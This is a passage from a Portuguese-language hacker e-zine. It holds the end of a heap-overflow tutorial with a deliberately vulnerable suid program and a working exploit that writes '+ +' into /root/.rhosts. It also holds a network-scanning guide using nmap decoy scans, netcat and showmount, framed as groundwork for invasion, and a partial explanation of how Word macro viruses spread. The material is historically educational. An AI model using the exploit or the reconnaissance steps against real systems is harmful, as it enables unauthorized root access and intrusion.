   #define BUFSIZE 16
/* Define tamanho de bytes em um endereco */
   #define ADDRLEN 4

   int main()
   {
    u_long diff;
      static char buf[BUFSIZE], *bufptr;

      bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;

      printf("bufptr (%p) = %p, buf = %p, diferenca = 0x%x (%d) bytes\n",
      &bufptr, bufptr, buf, diff, diff);

      memset(buf, 'A', (u_int)(diff + ADDRLEN));

      printf("bufptr (%p) = %p, buf = %p, diferenca = 0x%x (%d) bytes\n",
             &bufptr, bufptr, buf, diff, diff);

      return 0;
   }

Compile-o normalmente e depois execute-o, voce irah receber algo parecido
com as linhas abaixo:

bufptr (0x80496b8) = 0x80496a8, buf = 0x80496a8, diferenca = 0x10 (16) bytes
bufptr (0x80496b8) = 0x41414141, buf = 0x80496a8, diferenca = 0x10 (16) bytes

O que podemos perceber  acima eh que o  ponteiro no fim aponta  para um endereco
diferente de memoria  que apontava no  inicio.O que se  pode fazer com  isso, eh
aproveitar uma  vulnerabilidade  onde  nos possamos  sobrescrever algum  arquivo
temporario para apontar para uma  string separada(como por exemplo um  parametro
em argv[1]  que nos  mesmos possamos  prover), que  possa conter algo malicioso,
como "/root/.rhosts".

Para demontrar  isto, iremos  dar uma  olhada em  um programa  bugado com  estas
caracteristicas,iremos usar um arquivo temporario para momentanea- mente  salvar
dados colocados(input) de algum usuario.O programa abaixo tambem foi escrito por
Matt Conover, e tambem pode ser obtido em www.w00w00.org, bem como seu  tutorial
sobre Heap Overflows que estou me baseando.

----------------------------heapvul1.c--------------------------------

   /*
    * Este eh um tipico programa vulneravel.Ele irah armazenar dados
    * de entrada(input) em um arquivo temporario.
    * Desenvolvido por Matt Conover.
    * Alterado por Nash Leon.
    * Compile com: gcc -o vulprog1 vulprog1.c
    */

   #include
   #include
   #include
   #include

  #define BUFSIZE 16

   /*
    * Rode este vulprog como root para que tenha permissao para escrever
    * o /root/.rhosts , ou entao adapte-o para o usuario que se encontra.
    */

   int main(int argc, char **argv)
   {
      FILE *tmpfd;
      static char buf[BUFSIZE], *tmpfile;

      if (argc <= 1)
      {
         printf("Uso: %s \n", argv[0]);
         exit(0);
      }

      tmpfile = "/tmp/vulprog.tmp"; /* Este nao eh o arquivo temporario
                                        vulneravel. */
      printf("antes: tmpfile = %s\n", tmpfile);
      printf("Digite uma linha de dados para colocar em %s: ", tmpfile);
      gets(buf);
      printf("\napos: tmpfile = %s\n", tmpfile);

      tmpfd = fopen(tmpfile, "w");
      if (tmpfd == NULL)
      {
         fprintf(stderr, "Erro abrindo %s: %s\n",tmpfile,strerror(errno));
         exit(1);
      }

      fputs(buf, tmpfd);
      fclose(tmpfd);
   }

------------------------------------------------------------------------

Compila esse programa bugado e depois seta ela como suid.
(Como root digite: chmod +s heapvul1)

Abaixo segue um exploit para este programa bugado, tambem feito por
Matt Conover, para variar.

-----------------------------heexpl1.c---------------------------------

  /*
   * Copyright (C) January 1999, Matt Conover & WSD
   *
   * Alterado por Nash Leon.
   *
   * Este exploit vai passar alguns argumentos para o programa(que o
   * programa vulneravel nao usa), exploitando o mesmo.O programa
   * vulneravel espera que nos digitemos uma linha de dados de entrada,
   * para ser armazenada temporariamente.Todavia, por causa de um
   * static buffer overflow, nos podemos sobrescrever o arquivo
   * temporario apontado, para que ele aponte para argv[1](que nos
   * devemos passar como "/root/.rhosts").Entao ele irah escrever nossa
   * linha temporaria para este arquivo.Entao nos sobrescrevemos a string,
   * (que nos iremos passar como nossa linha de entrada de dados) para que
   * seja:
   * + + # tamanho de (endereco tmpfile) - (endereco de buf) # de A's |
   *       endereco de argv[1]
   *
   *
   * Nos usamos "+ +", permite todos os hosts, seguido por '#' , que eh
   * usado para comentarios em shell scripts, para previnir que nosso
   * "codigo de ataque" cause problemas.Sem a "#", programas usando
   * .rhosts devem interpretar mal nosso codigo de ataque.
   *
   * Compile com: gcc -o exploit1 exploit1.c
   */

#include
#include
#include
#include

#define BUFSIZE 256

#define DIFF 16 /* Diferenca estimada entre buf/tmpfile em heapvul1 */

#define VULPROG "./heapvul1"
#define VULFILE "/root/.rhosts" /* o arquivo 'buf' que serah armazenado */

/* Pega o valor de Stack Pointer(sp) fora do Stack.(Usado para
   calcular o endereco de argv[1] */

   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* equiv. de 'return esp;' em C */
   }

int main(int argc, char **argv)
   {
      u_long addr;

      register int i;
      int mainbufsize;

      char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

      /* ------------------------------------------------------ */
      if (argc <= 1)
      {
         fprintf(stderr, "Uso: %s  [tente 310-330]\n", argv[0]);
         exit(1);
      }
      /* ------------------------------------------------------ */

memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");

memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + atoi(argv[1]);

/* reverse byte order (em um sistema little endian) */

for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) +
strlen(VULFILE) + 13;

mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));

snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
               buf, VULPROG, VULFILE);

printf("Sobrescrevendo tmpaddr p/ apontar p/ %p, check %s depois.\n\n",
             addr, VULFILE);

   system(mainbuf);
      return 0;
}

---------------------------------------------------------------------

Compila ele e executa.Olha, ele mandou tentar offsets de 310 a 330, mas
eu soh consegui chutando 379, voce pode ir chutando, e vendo o que
aparece em "apos: tmpfile =".Veja meu exemplo abaixo:

[localhost:/]$ ./heexpl1 350
Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb56, check /root/.rhosts
depois.

antes: tmpfile = /tmp/vulprog.tmp
Digite uma linha de dados para colocar em /tmp/vulprog.tmp:
apos: tmpfile =
erro abrindo : No such file or directory

[localhost:/]$ ./heexpl1
Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb74, check /root/.rhosts
depois.

antes: tmpfile = /tmp/vulprog.tmp
Digite uma linha de dados para colocar em /tmp/vulprog.tmp:
apos: tmpfile = root/.rhosts
erro abrindo root/.rhosts: No such file or directory

Preste atencao acima, o "apos: tmpfile = root/.rhosts" indica que
o ponteiro estah bem proximo de alcancar o endereco que queriamos.

[localhost:/]$ ./heexpl1 379
Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb73, check /root/.rhosts
depois.

antes: tmpfile = /tmp/vulprog.tmp
Digite uma linha de dados para colocar em /tmp/vulprog.tmp:
apos: tmpfile = /root/.rhosts

Pronto!!O arquivo foi escrito com sucesso!!Chute offsets de 5 em 5,
prestando sempre atencao no que apareco na linha
"apos: tmpfile = /root/.rhosts", veja que no ultimo exemplo ele
nao apresentou mensagem de erro.Se voce me pergunta se isso pode ser
melhorado??? Pode sim, lembre-se que ele diz acima que usa 1 metodo
para pegar o 'return address', voce conhece varios metodos, incremente
um seu, e verah melhoras consideraveis neste exploit.

A funcao vulneravel do programa "heapvul1" descrito, eh a funcao gets(),
como muitas, ela tambem nao faz checagem no tamanho de buffer que
recebe.
Talvez voce esteja achando tudo isso muito dificil, nao vou me
aprofundar, isso foi soh para que voce tenha uma ideia, no proximo,
talvez explique mais detalhado isso tudo,de uma olhada nesse txt do
Matt Conover, ele eh um dos poucos disponiveis.

--------------------
8 - O PROJETO OMEGA |
--------------------

Irei descrever de forma  breve, o que se  trata este "Projeto", nao  entrarei em
detalhes tecnicos por enquanto, pois foge do intuito deste tutorial, haja visto,
nao considero simples as demonstracoes praticas desta tecnica.O que se  pretende
com isto, eh a eliminacao da necessidade de se chutar offsets, isso que  fazemos
muito.Existem tecnicas de forca bruta, que faz com que programas facam isso  por
nos, a gente deixa lah e ele  fica rodando o exploit, chutando offsets ateh  que
consiga nosso objetivo, mas esse projeto omega eh diferente, tem em mente acabar
com a necessidade de chutar offsets.No inicio, como sempre, muita gente nao  deu
ideia ao cara  que veio com  essa teoria, ele  eh conhecido como  "lamagra", mas
parece  que  agora o  pessoal  anda vendo  que  ele tem  razao.Recentemente  foi
publicado num  zine de  grande circulacao,  o HWA  zine, que  pode ser obtido em
www.csoft.net/~hwa , uma materia contendo material feito por esse lamagra para o
zine "core  zine", que  pode ser  baixado na  propria home  page do  lamagra, em
http://bounce.to/unah16/.
Eu nao sei precisar mais dados sobre  isso, mas creio que existe um porem,  como
tem aparecido patchs  e programas no  intuito de evitar  buffer overflows, creio
que o  proprio conceito  de buffer  overflows como  tecnica de  ataque estah  em
jogo.Sabemos que nao existe somente estah tecnica, mas creio que o  conhecimento
desta eh essencial.O esforco do lamagra eh valido, e creio que devemos sim medir
esforcos para termos  dominio sobre essa  teoria e consequentemente  pratica-la.
Caso seja possivel, num futuro txt sobre overflows, incluirei uma parte  tecnica
destinada a  este projeto.Mas  por enquanto,  caso queira  conferir, leia o zine
"core zine", de numeros 02 e 03, e verah algo sobre essa teoria e muitas  outras
coisas interessantes, tem ateh um tutorial sobre stack overflows, na versao  01,
se nao me engano. Sem mais sobre isso por enquanto.

---------------------
9 - PROCURANDO FUROS |
---------------------

Existem varios metodos para ver se um programa eh bugado ou nao.
Irei enumerar apenas alguns.
Sabemos  que um  programa para  ser vulneravel  a um  buffer overflow  necessita
possuir  um bug(uma  falha), em  seu codigo  ou implementacao,  que permita  que
causemos um  desvio do  curso normal  do programa  atraves do  enchimento de  um
buffer usado por uma funcao que  nao faz checagem de tamanho dos  parametros que
recebe.Sao varias as funcoes em C que podem ser vulneraveis a buffer  overflows,
mas dependendo da implementacao, uma funcao considerada "bugada" pode muito  bem
fazer uma checagem do  tamanho dos dados que  recebe e nao ser  mais considerada
bugada.Um exemplo disso segue abaixo:

scanf("%s ", variavel);

scanf("%500s ", variavel);

Se variavel  foi declarada  para receber  ateh 512  bytes, no  primeiro caso, se
digitarmos mais de  512, conseguiremos um  buffer overflow, mas  no segundo caso
nao, pois existe uma checagem dos parametros recebidos por scanf().

Muitas funcoes possuem funcoes substitutas, que sao funcoes que efetuam a  mesma
operacao da funcao considerada "bugada"( por nao fazer a checagem do tamanho dos
parametros que recebe) mas que checam o tamanho.

Vemos um exemplo disso nas funcoes abaixo:

strcat(variavel, buffer);

strncat(variavel, buffer,sizeof(buffer));

Se "variavel" possui  um tamanho maior  do que o  de "buffer", no  primeiro caso
teremos sim uma possivel condicao de buffer overflow,caso coloquemos mais  dados
do que buffer possa suportar; mas  no segundo caso, strncat faz uma  checagem do
tamanho de buffer antes de concatenar com variavel.

O melhor metodo  para saber se  um programa eh  vulneravel ou nao  eh atraves da
leitura de seu codigo-fonte.Eu disse no inicio desse txt que poderiamos saber se
um  programa  eh  vulneravel  a  overflow  atraves  do  recebimento  da mensagem
"Segmentation Fault",  mas isso  por sih  soh nao  basta, pois  muitos programas
possuem  erros que  geram o  recebimento desta  mensagem. Voce  pode sim  tentar
sempre um brutal  force(tentando encher um  buffer com muitos  dados), e ver  se
consegue obter essa resposta.Isso eh util em programas com codigos  fechados,mas
mesmo para programas deste tipo  existe uma solucao "melhor".Existe por  aih, um
programa capaz de descompilar um  programa.Isso mesmo, coisa rustica ainda,  mas
pode ser util,voce pode  obter mais informacoes sobre  isso e baixar uma  versao
deste programa em http://www.it.uq.edu.au/groups/csm/dcc.html.

Algum tempo  atras, pouco  tempo, saiu  um programa  chamado its4.Esse  programa
seria um "grep" melhorado, pois ele checa um codigo fonte em busca de  possiveis
vulnerabilidades,  apontando  possiveis  solucoes(troca  da  funcao,checagem  de
bounds,etc), bem como indicando o nivel de risco no uso de cada funcao, e  ainda
permite uma atualizacao dos dados(acrescentar ou retirar uma funcao  considerada
bugada).Este   programa   eh   muito   conhecido   e   pode   ser   obtido    em
http://www.rtscorp.com/its4 ou  mesmo nos  sites de  seguranca por  aih, como na
packetstorm, http://packetstorm.securify.com//. Mas ele por sih soh nao eh tudo,
pois tambem divulga informacoes erradas, creio que uma busca serene e incessante
de conhecimento de C  eh mais do que  essencial.Breve o Unsekurity Team  deverah
estar publicando mais textos no intuito de massificar conhecimentos nesta  area,
bem como abranger mais sistemas operacionais.

Irei enumerar  algumas das  funcoes que  sao reconhecidas  como sendo perigosas,
pois podem ser vulneraveis a  ataques de buffer overflows, nao  irei diferenciar
quanto a regiao  de memoria, mas  a maioria pode  ser exploitada tanto  via Heap
como Stack overflows.Sao elas:

strcpy();
scanf();
fscanf();
strcat();
gets();
fgets();
fprintf();
sprintf();
vsprintf();
strstr();
bzero();
bcopy();
getopt();
getpass();
getcwd;
popen();
system();
execvp();
avoid execlp();

Tambem podem ocorrer overflows sob certas circunstancias em:

strncpy();
strncat();
getenv();
atexit();
strdup();
tmpnam();
malloc();
readdir();
seekdir();
printf();

Dentre possivelmente outras.

Como voce  pode ver,nao  sao poucas  as funcoes,  e dependendo  sim do  nivel do
fucador, eh possivel  gerar overflows em  qualquer funcao descritas  acima.Agora
que voce jah tem conhecimento de como nao eh tao dificil gerar um overflow,  mas
o quanto eh  dificil fazer um  programa complexo seguro,  creio que devemos  sim
respeitar os  programadores bem  como a  comunidade de  seguranca, nao  eh facil
fazer um programa  com milhares de  linhas de codigos  sem possuir uma  condicao
para buffer  overflow. De  qualquer forma,tendo  em vista  um maior  aprendizado
nisso tudo, iremos de  alguma forma forcar a  escrita de codigos mais  seguros e
estaveis, tudo para que o usuario comum possa algum dia ter a seguranca de  usar
um programa  ou navegar  na internet  e etc,  sem a  preocupacao de alguem estar
bisbilhotando seus dados.Fucadores eticos respeitam os dados das pessoas e lutam
contra as grandes corporacoes para garantir a privacidade dessas pessoas,  mesmo
que lah fora elas nao saibam as reais causas que nos levam a isso tudo, acredito
que  eh  mais  do  que  gratificante  forcar  esse  pessoal(grandes  corporacoes
inescrupulosas) a fazer o que nao querem, que eh dar maior qualidade e seguranca
ao uso pessoal dos computadores de um modo geral.

Aproveito essa parte para dizer algo tambem.Eu estava pensando em publicar algum
exploit de nossa autoria, mas aih um membro do grupo me alertou para algo que eu
ainda nao havia pensado: "Nao  devemos publicar nossos exploits", quando  muito,
devemos liberar apenas aos mais intimos e conhecidos que de fato nao publicarao,
por que??

* Primeiro  -> A comunidade de seguranca estah ficando cada vez mais
               rica.Sao empresas e mais empresas trabalhando para as
               corporacoes, e em nenhum momento eles gastam dinheiro
               para divulgar a causa hacker(digo hacker,nao cracker!),
               pois eles jah estao inseridos no sistema.

* Segundo   -> Talvez voce tenha algum exploit proprio para sistemas
               abertos, como linux que afete uma distribuicao descente.
               Quando eu falo descente amigo, digo "Debian", pois ateh
               mesmo o Slackware tah seguindo no rumo de capitalizar
               dinheiro em cima do linux.Se voce descobrir um exploit
               para um sistema como Debian, aconselho voce a divulgar
               de inicio ao pessoal que faz a distribuicao, os desenvo-
               vedores,programadores, procurando contato diretamente
               com eles.Mas se for para as outras distribuicoes linux,
               em especial Red Hat linux, Caldera Open Linux, Red Hat
               Conectiva Linux, Corel Linux, e o que tah vindo agora,
               Motorola Linux, divulgue seu exploit somente no
               underground, deixe que eles depois tratem de achar o
               bug e consertar, pois essas distribuicoes nao possuem
               escrupulos e estao denegrindo e se aproveitando do
               trabalho alheio.Abram os olhos, quem nao garante que
               amanha a Red Hat nao seja uma nova microsoft???

* Terceiro ->  A comunidade de seguranca na sua maioria(alguns ainda
               escapam) nao se importam com voce, querem que voce vah
               preso, e nao fazem questao de diferenciar o termo
               hacker do termo cracker, simplesmente porque eles
               ganham quando a midia divulga os criminosos que trazem
               prejuizos para todos.Por isso, amigo, se teu ego falar
               alto porque voce conseguiu descobrir algo novo, cuidado
               voce vai ajudar esses caras, mas eles nao irao ajudar
               voce, caso um dia precise.

* Quarto ->    Um cara que divulga um exploit para um determinado bug,
               que se diz de um grupo fucador ou nao, deve ter em mente
               o perigo que representa a divulgacao do exploit, me refiro
               ao uso desse exploit por parte dos kiddies e lamers.Uma
               coisa eh voce dizer que tal programa possui um bug em
               determinada funcao, outra eh voce disponibilizar um
               exploit para isso.A realidade, eh que o pessoal que irah
               fazer um exploit para o bug descoberto por voce, eh bem
               reduzido, no entanto, caso divulgue um exploit, o
               universo do pessoal que o usarah seja lah para quais
               intuitos for, serah demasiadamente grande.Nos ataques de
               DDoS recentes, um dos "fabricantes" de uma das possiveis
               ferramentas usadas foi severamente acusado de participar
               diretamente dos ataques, que garantia voce terah que nao
               farao isso contigo??

Bom, esses sao soh alguns itens que me levam a fazer apologia da "Nao Divulgacao
de Exploits" por parte de fucadores.Sei que a comunidade de seguranca nao  gosta
deste tipo de  ideologia,mas lembrando, nao  eh para eles  que escrevo.Nao deixe
seu ego tomar conta de voce mano!!Faca as coisas com conciencia!!

----------------
10 - TERMINANDO |
----------------

10.1 Links e Referencias
--------------------------

"Smashing The Stack For Fun And Profit" por Aleph One.
Pode ser obtido em: http://www.phrack.com -> Zine 49, item 14.
                    http://packetstorm.securify.com/ -> Manda achar.
                    http://www.technotronic.com/
                    http://www.2600.com/phrack/
                    http://www.securityfocus.com/

"w00w00 on Heap Overflows"  por Matt Conover.
Pode ser obtido em: http://www.w00w00.org/
                    http://www.securityfocus.com/

"adv.overflow.paper" por Taeho Oh.
Pode ser obtido em: http://www.technotronic.com/
                    http://www.securityfocus.com/

"STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX" -
 Feito pelo pessoal da The Hacker's Choice.
Pode ser obtido em: www.infowar.co.uk/thc/ -> Procure por thc-mag3.zip.

"Writing buffer overflow exploits - a tutorial for beginners" por Mixter.
Pode ser encontrado em:
http://members.tripod.com/mixtersecurity/papers.html
http://1337.tsx.org/

"How to write Buffer Overflows" - por Mudge.
Pode ser obtido em :
http://www.l0pht.com/
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html

"Buffer Overruns, whats the real story?" - por Lefty.
Pode ser obtido em: http://packetstorm.securify.com/
                    http://www.securityfocus.com/

"Attack Class: Buffer Overflows" - por Evan Thomas.
Pode ser obtido em: http://helloworld.ca/

** Existem bons materiais em portugues, que merecem sim uma olhada.
   Nao sei aonde se acha, mas sei dos zines da Axur e da RWX.
   Procure em algum sistema de busca.

Axur0503.new - Item 6 - "The Stack" - por csh.

rwx01.txt - Item 2 - "OVERFLOWS" - por auth.

** E tambem um bom material recente:

mbcbuffer.txt - "INSIDE TO BUFFERS OVERFLOWS" - por  cync.
Pode ser obtido em: http://www.mbc-corp.com.br

Nao conheco outros txts  em portugues, mas vale  a gratidao a todos  aqueles que
tem contribuido  para democratizar  informacoes nao  soh no  nosso pais  como em
todos os cantos da Terra.

Alguns links:

http://bounce.to/unah16/  -> Info sobre o Projeto Omega.

http://www.posthuman.za.net -> Zine f0rbidden knowledge, procure a
                               edicao 08, tem algo sobre overflows.

"Crispin Cowan, et al., StackGuard: Automatic Adaptive Detection and
 Prevention of Buffer-Overflow Attacks" - Sobre o Stack Guard.
http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/usenixsc98_html/

.........................................................................

10.2 Consideracoes Finais.
--------------------------

Aih estah  amigo, por  enquanto isso  eh tudo.Em  breve estarei disponibilizando
mais materiais de nivel, visando maior abrangencia de conhecimentos por parte de
todos aqueles que  se encontrarem dispostos  a aprender.Tem muitas  coisas sobre
buffer  overflows  ainda,  creio  que  em  breve  estarei  disponibilizando mais
tutoriais  sobre  programacao de  sockets  e shellcodes  acoplando  junto sempre
exemplos de buffer overflows. Em breve estarah sendo disponibilizado algo tambem
referente a programacao IPC, bem como  alguma coisa sobre TCP/IP. Com a  chegada
destes materiais,  vai ficar  mais facil  a compreensao  de futuros tutoriais de
sockets, investindo em UDP e RAW  sockets, bem como com a chegada  dos tutoriais
de IPC,  em exploitacao  remota e  de funcoes  mais complexas.Eh  soh questao de
tempo, paciencia amigo!!

Gostaria de agradecer aqueles que de uma forma ou de outra, tem colaborado com a
distribuicao das  informacoes aqui  contidas, bem  como ao  pessoal que tem dado
apoio.Espero  que tudo  isso sirva  para alguem,  bem como  que isso  possa ser
passado para mais e mais pessoas,  visando nao praticar coisas ruins, creio  que
ainda ha espaco para a etica, e a beleza da etica, ainda pode mudar pessoas, por
isso, amigo, faca sua parte, nao deixe a
chama apagar, mas nao queime nunca alguem com ela.

Termino aqui direcionando  meus agradecimentos a  Ramona, meu grande  amigo zip,
module, psych,  e-brain, raynox,  t[rex], xf86config,  cs0, Cdma,  Matt_Salermo,
Dani_Linidinha,  CeZiNHa,  f00,   ocorvo,  thunderoffire,  Blind_Bard,   d3m3ns,
Dinamite_, e Magic Kiss.:)

                                         Nash Leon vulgo coracaodelao
                                         nashleon@yahoo.com.br

----------------------------------EOF-----------------------------------

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 15 ]=-=[ Varreduras e Varreduras ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

--[Introdução]--

As  varreduras  (scanning)  são  feitas  para  se  obter  informações  sobre  um
determinado servidor ou de  toda uma rede, sendo  portanto, um ponto de  partida
para  a  invasão  de  qualquer  sistema.  Veremos  aqui  algumas  das   técnicas
utilizadas.

--[Varreduras de Ping]--

O ping envia pacotes TCP_ECHO para um computador, afim de verificar se ele  está
ativo. Ele pode ser usado para verificar o número de sistemas ativos numa  rede,
embora seja um método lento para grandes redes. Existem inúmeros programas  para
fazer essa varredura. Se quiséssemos determinar sistemas ativos numa rede classe
C usando o fping, faríamos:

richard@debian:~$ gping 10 4 0 1 254 | fping -a

10.4.0.1 is alive
10.4.0.4 is alive
10.4.0.30 is alive
10.4.0.100 is alive

Caso  o tráfego  ICMP seja  bloqueado, podemos  tentar uma  varredura ping  TCP,
usando o nmap com a opção -PT e uma porta:

debian:/# nmap -sP -PT25 10.4.0.0/24
TCP probe port is 25
Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )
Host (10.4.0.1) appears to be up.
Host (10.4.0.5) appears to be up.
Host (10.4.0.30) appears to be up.
Host (10.4.0.100) appears to be up.
Nmap run completed -- 256 IP addresses (4 hosts up) scanned in 7 seconds

É uma boa idéia utilizar outras portas comuns, como 80 (http) e 110 (POP).

--[Varredura de Portas]--

Com a varredura de ping e TCP, nós identificamos os computadores ativos da rede.
Agora, faremos a varredura de portas, para verificar quais serviços estão  sendo
executados em cada máquina e o seu sistema operacional.

No Windows,  pode-se utilizar  o PortPro  (www.securityfocus.com), já  no Linux,
utilizaremos o netcat:

debian:/# nc -v -z -w3 10.4.0.1 1-150
[10.4.0.1] 143 (imap) open
[10.4.0.1] 139 (netbios-ssn) open
[10.4.0.1] 111 (sunrpc) open
[10.4.0.1] 80 (http) open
[10.4.0.1] 25 (smtp) open
[10.4.0.1] 22 (ssh) open
[10.4.0.1] 21 (ftp) open

A opção -v serve para detalhar a  saída; -z é um modo usado em  varreduras (zero
I/O); -w serve para definir o timeout  para as conexões; 1-150 é o intervalo  de
portas que deve ser varrido.  Pode-se também realizar uma varredura  UDP através
da opção -u.

Com  o  nmap,  podemos fazer  uma  varredura  SYN, que  é  mais  dificil de  ser
detectada. Podemos usar ainda a  opção -D, que inicia varreduras  "falsas" junto
com a verdadeira, afim de dificultar a detecção.

debian:/# nmap -sS 10.4.0.1 -D www.isca.com,ME -p21,22,23,25,80
Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )
Interesting ports on (10.4.0.1):
(The 1 port scanned but not shown below is in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

Com  o  nmap,  podemos  tentar  detectar  qual  sistema  operacional  está sendo
executado no computador alvo, através da opção -O:

debian:/# nmap -O 10.4.0.1
Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )
Interesting ports on (10.4.0.1):
(The 1544 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
111/tcp open sunrpc
139/tcp open netbios-ssn
143/tcp open imap2
443/tcp open https
675/tcp open unknown
700/tcp open unknown
1024/tcp open kdm
4559/tcp open hylafax

Remote operating system guess: Linux Kernel 2.4.0 - 2.4.18 (X86)
Uptime 9.508 days (since Tue Apr 22 05:48:17 2003)
Nmap run completed -- 1 IP address (1 host up) scanned in 6 seconds

Agora que já sabemos o sistema  operacional e os serviços que são  executados no
computador,  podemos  determinar  a  versão  de  cada  um,  em  busca  de falhas
conhecidas. Para isso, abra  uma conexão telnet para  uma das portas abertas  do
servidor digite algo e dê ENTER:

debian:/# telnet 10.4.0.1 80
Trying 10.4.0.1...
Connected to 10.4.0.1.
Escape character os '^]'.
asd

 Method Not Implemented
asd to /index.html not suppported.
Invalid method in request asd

----------------------------------------------------------------------

Apache/1.3.26 Server at phoenix.lab.nom.br Port 80

Connection closed by foreign host.

Agora  que sabemos  que o  servidor está  executando o  Apache 1.3.26,  podemos
procurar por vulnerabilidades desta versão, e tentar ganhar acesso na maquina.

Caso  o servidor  alvo seja  UNIX e  esteja executando  o rpcbind  (porta 111),
podemos utilizar o rpcinfo para verificar quais aplicativos RPC estão ativos:

debian:/# rpcinfo -p 10.4.0.1
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100011 1 udp 672 rquotad
100011 1 tcp 675 rquotad
100005 1 udp 1024 mountd
100005 1 tcp 1024 mountd
100005 2 udp 1024 mountd
100005 2 tcp 1024 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs

Considerando ainda  um sistema  UNIX, se  este tiver  o NFS  ativo (porta 2049),
podemos conseguir alguma informação útil,  em algum diretório público (caso  ele
exista). Para listar os diretórios compartilhados, usamos o showmount:

debian:/# showmount -e 10.4.0.1
Export list for 10.4.0.1:
/home 10.4.0.*
/var/spool/mail 10.4.0.*

--[Finalizando]--

Vimos  aqui algumas  das muitas  técnicas que  podem ser  utilizadas para  obter
informações sobre determinadas máquinas ou  redes. Para uma melhor descrição  do
funcionamento de cada ferramenta utilizada e outras de suas opções, leia as  man
pages.

debian:/# man nmap
Formatting page, please wait... :P

hallucination

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 16 ]=-=[ Vírus de Macro ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                                 Virus De Macro

Nome de Macro			Roda
Autoexec			Quando você inicia o Word
AutoNew 			Quando você cria um novo Documento
AutoOpen 			Quando você abre um Documento
AutoClose 			Quando você fecha um Documento
AutoExit 			Quando Você sai do Word

Os Virus de macros  são feitos para calsar  danos em programas do  Office criado
pela Microsoft. Pelo menos  eu nunca vi nenhuma  queixa sobre o office  XP ter a
chance  de ser  infectado por  algum macro  antigo. Word  for Windows  armazena
macros, tão bem  como estilos, em  modelos de documento  (arquivos .DOT). Macros
globais são armazenados no arquivo NORMAL.DOT.

Como  falado  anteriormente,  o  Word  apenas  armazena  macros  em  modelos  de
documentos. Você não pode acrescentar uma macro para um documento normal de Word
(.DOC). Isso ajuda a eliminar a habilidade  de se espalhar um DMV da fonte  para
outros documentos (o que pode dramaticamente aumentar a quantidade de documentos
infectados).
Entretanto, existe uma alternativa.  Um modelo de Word  .DOT é muito similar  em
formato a um arquivo  .DOC. Os dois possuem  a mesma aparência e  funcionalidade
quando aberto no Word. Para infectar outros documento, o DMV no NORMAL.DOT checa
o documento para  ver se ele  já foi infectado  com o macro.  Se ele não  foi, o
macro salva  o arquivo  como um  documento modelo.  Isso faz  com que apareça na
parte de baixo da tela  uma barra de salvamento (o  que não é estranho, uma  vez
que  muitos  usuários usam  a  opção de  Auto-Salvamento).  Word agora  trata  o
documento atual como  um modelo, e  o macro DMV  no NORMAL.DOT pode  copiar a si
próprio para o documento atual.
Extensões  de arquivo  são muito  decepcionantes. Uma  vez que  enquanto que  o
documento possua uma extensão .DOC, ele  pode ser um modelo. Quando o  Word abre
um documento, ele não liga qual a extensão que o arquivo tem. Ele le o arquivo e
determina qual o  formato a ser  processado. A única  pista que você  pode ter é
quando você escolhe  o comando Salvar  Como no menu  Arquivo. Word tenta  forçar
você para salvar o modelo em um diretório padrão que contenha outros modelos  de
Word. Outra pista é  quando o Word pergunta  para você se você  deseja salvar as
modificações quando você fechar, mesmo  que você não tenha editado  o documento.
Como software de plataformas-múltiplas  geralmente trocam código comuns,  parece
que o  DMV pode  ser passado  de uma  plataforma para  outra. Por exemplo, se um
documento do  Word for  Windows está  infectado, depois  transferido para o Word
para Macintosh  então o  DMV pode  muito bem  infectar a  versão Mac do Word. Eu
nunca  testei isso  ainda, mas  isso pode  ser um  acontecimento provável.  Como
falado anteriormente, esse não é um  problema exclusivo para o Word for  Windows
(pesquisas indicam que o Excel  tem muitas mais vulnerabilidades ou  de produtos
feitos pela Microsoft. Macros automáticas  tem se tornado muito populares  entre
uma variedade de software-houses.

Removendo vírus de Word

Remover vírus de Word (DMV) é relativamente fácil. Primeiro rode o Word, depois:

· Se um  arquivo infectado está  aberto, então escolha  o comando Macro  do menu
Utilitários. Apague todas as macros do arquivo aberto e do NORMAL.DOT.

· Se  nenhum documento  está aberto,  escolha o  comando Macro  do menu Arquivo.
Apague todos os macro de NORMAL.DOT.

PROTEGENDO-SE CONTRO DMS'S DO WORD

